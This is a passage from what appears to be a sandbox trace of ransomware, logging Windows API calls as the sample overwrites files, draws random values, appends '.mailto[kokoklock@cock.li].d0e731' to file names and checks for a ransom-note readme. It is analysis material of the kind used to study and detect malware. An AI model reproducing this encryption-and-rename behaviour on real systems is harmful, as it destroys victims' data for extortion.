0xa6154398 [0168.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0168.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0168.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0168.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88160) returned 1 [0168.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2f99af8 [0168.501] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.501] ReadFile (in: hFile=0x6f0, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc0efc4c, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0xc0efc4c*=0x4096, lpOverlapped=0x0) returned 1 [0168.502] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0168.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0168.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880e8 [0168.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880e8) returned 1 [0168.503] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0168.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0168.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0168.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0168.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.504] WriteFile (in: hFile=0x6f0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc0efc4c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0xc0efc4c*=0x4096, lpOverlapped=0x0) returned 1 [0168.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.504] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0xa772, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f88250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc0efc84, lpOverlapped=0x0 | out: lpBuffer=0x2f88250*, lpNumberOfBytesWritten=0xc0efc84*=0x20, lpOverlapped=0x0) returned 1 [0168.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0168.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f88340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0x2f88340*, lpNumberOfBytesWritten=0xc0efc98*=0x8, lpOverlapped=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0xc0efcb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0xc0efcb0*, lpNumberOfBytesWritten=0xc0efc98*=0x4, lpOverlapped=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xc0efc98*=0x4, lpOverlapped=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xc0efc98*=0x6c, lpOverlapped=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f88228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0x2f88228*, lpNumberOfBytesWritten=0xc0efc98*=0x20, lpOverlapped=0x0) returned 1 [0168.505] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xc0efc98*=0x4, lpOverlapped=0x0) returned 1 [0168.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88228) returned 1 [0168.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0168.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88340) returned 1 [0168.506] CloseHandle (hObject=0x6f0) returned 1 [0168.506] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85318 [0168.506] wcscpy (in: _Dest=0x2f85318, _Source="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" [0168.506] wcscat (in: _Dest=0x2f85318, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.506] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.507] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85318) returned 1 [0168.507] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.507] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f67c30 [0168.507] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0168.507] wcscat (in: _Dest=0x2f67c30, _Source="D0E731-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt") returned="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" [0168.507] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\D0E731-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\d0e731-readme.txt")) returned 0x20 [0168.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0168.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024850) returned 1 [0168.507] RtlExitUserThread (Status=0x1) Thread: id = 1699 os_tid = 0xce8 [0168.508] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.509] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.509] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.510] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc16fd70 | out: lpFileSize=0xc16fd70*=6196) returned 1 [0168.510] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x1830, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.510] ReadFile (in: hFile=0x6f0, lpBuffer=0xc16fd44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc16fd40, lpOverlapped=0x0 | out: lpBuffer=0xc16fd44*, lpNumberOfBytesRead=0xc16fd40*=0x4, lpOverlapped=0x0) returned 1 [0168.511] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.511] CloseHandle (hObject=0x6f0) returned 1 [0168.511] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f838a8) returned 1 [0168.512] RtlExitUserThread (Status=0x0) Thread: id = 1700 os_tid = 0xd20 [0168.513] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.513] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.513] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.513] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc1efecc | out: lpFileSize=0xc1efecc*=232) returned 1 [0168.514] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0xe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.514] ReadFile (in: hFile=0x6f0, lpBuffer=0xc1efea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc1efe9c, lpOverlapped=0x0 | out: lpBuffer=0xc1efea0*, lpNumberOfBytesRead=0xc1efe9c*=0x4, lpOverlapped=0x0) returned 1 [0168.515] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.515] CloseHandle (hObject=0x6f0) returned 1 [0168.515] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.515] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ee40) returned 1 [0168.515] RtlExitUserThread (Status=0x0) Thread: id = 1701 os_tid = 0xd28 [0168.523] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.524] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.524] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.524] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc26fc74 | out: lpFileSize=0xc26fc74*=1152) returned 1 [0168.524] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x47c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.524] ReadFile (in: hFile=0x6f0, lpBuffer=0xc26fc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0xc26fc48*, lpNumberOfBytesRead=0xc26fc44*=0x4, lpOverlapped=0x0) returned 1 [0168.526] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0168.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0168.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f882f0 [0168.526] NtQuerySystemTime (in: CurrentTime=0xc26fc20 | out: CurrentTime=0xc26fc20*=132121213258345488) returned 0x0 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x45907278 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x158deeae [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xf09ed5ad [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x146c45b9 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xf8e73c12 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xc11420eb [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xb2ecec4 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x482d4ad6 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x255a3020 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x3f8031e6 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x97b782d8 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xa09a700f [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xf0f7848 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x34c2f691 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xdaeeb900 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xdd367892 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xd89810a3 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xda084d1 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xb145b4a2 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x8863195d [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xf2d141a3 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x4a023e03 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xbcc76c54 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x79c8980c [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x30475d0d [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xdc2b137c [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x5a12a107 [0168.526] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xf87fdd19 [0168.527] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x4b965d4d [0168.527] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0xa092f0c9 [0168.527] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x5ecb4efa [0168.527] RtlRandom (in: Seed=0xc26fc2c | out: Seed=0xc26fc2c) returned 0x1674a6c4 [0168.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96d50 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d50) returned 1 [0168.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0168.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2f99af8 [0168.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.540] ReadFile (in: hFile=0x6f0, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0xc26fc20, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0xc26fc20*=0x480, lpOverlapped=0x0) returned 1 [0168.540] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc26fbe8 | out: lpNewFilePointer=0x0) returned 1 [0168.540] WriteFile (in: hFile=0x6f0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0xc26fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0xc26fc1c*=0x480, lpOverlapped=0x0) returned 1 [0168.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0168.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc26fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0xc26fc18*=0x20, lpOverlapped=0x0) returned 1 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0168.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f88340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0x2f88340*, lpNumberOfBytesWritten=0xc26fc44*=0x8, lpOverlapped=0x0) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0xc26fc5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0xc26fc5c*, lpNumberOfBytesWritten=0xc26fc44*=0x4, lpOverlapped=0x0) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xc26fc44*=0x4, lpOverlapped=0x0) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xc26fc44*=0x6c, lpOverlapped=0x0) returned 1 [0168.541] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0xc26fc44*=0x20, lpOverlapped=0x0) returned 1 [0168.542] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc26fc44, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xc26fc44*=0x4, lpOverlapped=0x0) returned 1 [0168.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0168.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880c0) returned 1 [0168.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88340) returned 1 [0168.542] CloseHandle (hObject=0x6f0) returned 1 [0168.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc41c0 [0168.542] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" [0168.542] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.542] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.543] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0168.543] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87d00 [0168.543] wcscpy (in: _Dest=0x2f87d00, _Source="C:\\Users\\Public\\Libraries\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0168.543] wcscat (in: _Dest=0x2f87d00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt") returned="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt" [0168.543] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\D0E731-Readme.txt" (normalized: "c:\\users\\public\\libraries\\d0e731-readme.txt")) returned 0x20 [0168.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d00) returned 1 [0168.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e340) returned 1 [0168.544] RtlExitUserThread (Status=0x1) Thread: id = 1702 os_tid = 0xcd4 [0168.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f67c30 [0168.546] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\Public\\Documents\\My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0168.546] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0168.546] wcscat (in: _Dest=0x2f67c30, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*" [0168.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.546] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0168.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1360) returned 1 [0168.548] RtlExitUserThread (Status=0x0) Thread: id = 1703 os_tid = 0xcd8 [0168.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f67c30 [0168.549] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\Public\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") 